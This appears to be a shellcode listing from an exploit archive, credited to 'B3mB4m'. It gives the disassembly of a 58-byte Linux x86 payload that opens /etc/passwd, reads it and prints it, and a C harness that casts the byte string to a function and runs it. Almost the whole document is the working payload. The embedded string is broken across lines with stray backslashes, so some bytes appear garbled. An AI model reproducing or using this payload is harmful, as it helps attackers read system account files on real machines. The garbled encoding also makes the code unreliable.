Linux/x86 - /etc/passwd Reader - 58 bytes
#Greetz : Bomberman(Leader),wiremask.eu
#Author : B3mB4m
#Info
#File descriptor on EBX
#Buffer on ECX
#Bytes to read on EDX
Disassembly of section .text:
08048060 <.text>:
8048060: 31 c9 xor %ecx,%ecx
8048062: 31 c0 xor %eax,%eax
8048064: 31 d2 xor %edx,%edx
8048066: 51 push %ecx
8048067: b0 05 mov $0x5,%al
8048069: 68 73 73 77 64 push $0x64777373
804806e: 68 63 2f 70 61 push $0x61702f63
8048073: 68 2f 2f 65 74 push $0x74652f2f
8048078: 89 e3 mov %esp,%ebx
804807a: cd 80 int $0x80
804807c: 89 d9 mov %ebx,%ecx
804807e: 89 c3 mov %eax,%ebx
8048080: b0 03 mov $0x3,%al
8048082: 66 ba ff 0f mov $0xfff,%dx
8048086: 66 42 inc %dx
8048088: cd 80 int $0x80
804808a: 31 c0 xor %eax,%eax
804808c: 31 db xor %ebx,%ebx
804808e: b3 01 mov $0x1,%bl
8048090: b0 04 mov $0x4,%al
8048092: cd 80 int $0x80
8048094: 31 c0 xor %eax,%eax
8048096: b0 01 mov $0x1,%al
8048098: cd 80 int $0x80
#include <stdio.h>
#include <string.h>
char *shellcode =
"\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\
x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\
x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\
x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
int main(void){
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();}